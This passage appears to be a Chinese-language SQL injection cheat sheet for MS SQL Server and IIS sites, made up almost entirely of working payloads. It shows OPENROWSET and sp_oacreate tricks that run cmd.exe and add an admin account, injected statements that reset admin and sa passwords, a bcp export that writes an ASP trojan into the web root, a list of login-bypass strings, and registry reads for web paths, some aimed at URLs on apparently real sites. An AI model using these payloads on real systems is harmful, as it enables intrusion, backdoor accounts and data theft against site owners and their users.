这里仅给出sysadmin权限下使用的命令: select * from openrowset(''''microsoft.jet.oledb.4.0'''','''';database=c:\winnt\system32\ias\ias.mdb'''',''''select shell("cmd.exe /c net user admin admin1234 /add")'''')
? 建立链接数据库''''L0op8ack''''参考命令: EXEC sp_addlinkedserver ''''L0op8ack'''',''''OLE DB Provider for Jet'''',''''Microsoft.Jet.OLEDB.4.0'''',''''c:\windows\system32\ias\ias.mdb''''
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate ''''wscript.shell'''',@shell output EXEC sp_oamethod @shell,''''run'''',null,''''cmd.exe /c copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt'''',''''0'''',''''true'''' EXEC sp_oacreate ''''scripting.filesystemobject'''',@fso output EXEC sp_oamethod @fso,''''opentextfile'''',@file out,''''c:\temp.txt'''' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,''''Readline'''',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,''''AtEndOfStream'''',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate ''''wscript.shell'''',@shell output EXEC sp_oamethod @shell,''''run'''',null,''''cmd.exe /c net user>c:\temp.txt'''',''''0'''',''''true'''' EXEC sp_oacreate ''''scripting.filesystemobject'''',@fso output EXEC sp_oamethod @fso,''''opentextfile'''',@file out,''''c:\temp.txt'''' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,''''Readline'''',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,''''AtEndOfStream'''',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
9、 用UPDATE来更新表中的数据: HTTP://xxx.xxx.xxx/abc.asp?p=YY;update upload.dbo.admin set pwd=''''a0b923820dcc509a'''' where username=''''www'''';-- www用户密码的16位MD5值为:a0b923820dcc509a,即把密码改成1; 32位MD5值为: ,密码为
10、 利用表内容导成文件功能 SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。 命令行格式如下: bcp "select * from temp " queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost –U sa –P upload(''''S''''参数为执行查询的服务器,''''U''''参数为用户名,''''P''''参数为密码,最终上传了一个runcommand.asp的木马)。
11、创建表、播入数据和读取数据的方法 ? 创建表: '''' and 1=1 union select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))-- ? 往表里播入数据: '''' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype=''''U'''' and status>0,@result output insert into cyfd (gyfd) values(@result);-- '''' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread ''''HKEY_LOCAL_MACHINE'''',''''SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots'''', ''''/'''' ,@result output insert into cyfd (gyfd) values(@result);-- ? 从表里读取数据: '''' and 1=(select count(*) from cyfd where gyfd >1)--
? 删除临时表: '''';drop table cyfd;--
12、通过SQL语句直接更改sa的密码: ? update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,这样sa的密码就被我们改成了111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完全删除sa这个后门》。
? 查看本机所有的数据库用户名: select * from master.dbo.sysxlogins select name,sid,password ,dbid from master.dbo.sysxlogins
13、查询dvbbs库中所有的表名和表结构: ? select * from dvbbs.dbo.sysobjects where xtype=''''U'''' and status>0 ? select * from dvbbs.dbo.syscolumns where id=1426104121
14、手工备份当前数据库: 完全备份: ;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=''''c:/db1'''' backup database @a to disk=@s WITH formAT-- 差异备份: ;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=''''c:/db1'''' backup database @a to disk=@s WITH DIFFERENTIAL,formAT—
16、select * from ChouYFD.dbo.sysobjects where xtype=''''U'''' and status>0 就可以列出库ChouYFD中所有的用户建立的表名。 Select name,id from ChouYFD.dbo.sysobjects where xtype=''''U'''' and status>0
17、 ? http://www.npc.gov.cn/zgrdw/common/image_view.jsp?sqlstr=select * from rdweb.dbo.syscolumns (where id=1234) 列出rdweb库中所有表中的字段名称 ? select * from dvbbs.dbo.syscolumns where id=5575058 列出库dvbbs中表id=5575058的所有字段名
18、删除记录命令:delete from Dv_topic where boardid=5 and topicid=7978
19、绕过登录验证进入后台的方法整理: 1) '''' or''''''''='''' 2) '''' or 1=1-- 3) ‘ or ‘a’=’a-- 4) ‘or’=’or’ 5) " or 1=1-- 6)or 1=1-- 7) or ’a=’a 8)" or "a"="a 9) ’) or (’a’=’a 10) ") or ("a"="a 11) ) or (1=1 12) ''''or''''''''='''' 13) 人气%’ and 1=1 and ’%’=’
20、寻找网站路径的方法汇总: 1)查看WEB网站安装目录命令: ? cscript c:\inetpub\adminscripts\adsutil.vbs enum w3svc/2/root >c:\test1.txt (将2换成1、3、4、5试试) type c:\test1.txt del c:\test1.txt 在NBSI下可以直接显示运行结果,所以不用导出到文件
2)在网站上随便找到一个图片的名字 123.jpg 然后写进批处理程序123.bat: d: dir 123.jpg /s >c:\123.txt e: dir 123.jpg /s >>c:\123.txt f: dir 123.jpg /s >>c:\123.txt
执行后 type c:\123.txt 这样来分析网站的路径
3)SQL服务器和网站服务器在同一个服务器上,好了是可以执行命令是吧? 将执行命令输出结果到 %windir%\help\iishelp\common\404b.htm或者500.asp 注意输出前Backup这两个文件 如: dir c:\ >%windir%\help\iishelp\common\404b.htm 然后随便输入一个文件来访问:http://目标ip/2.asp
4)针对win2000系统:xp_regread读取HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots 获取WEB路径 2003系统:xp_regread读取,未找到方法 如: (1) 新建一个表cyfd(字段为gyfd):http://www.cnwill.com/NewsShow.aspx?id=4844;create table [dbo].[cyfd]([gyfd][char](255))-- (2) 把web路径写进去:http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE @result varchar(255) exec master.dbo.xp_regread ''''HKEY_LOCAL_MACHINE'''',''''SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots'''', ''''/'''' ,@result output insert into cyfd (gyfd) values(@result);-- (3) 还是让他不匹配,显示错误:http://www.cnwill.com/NewsShow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd >1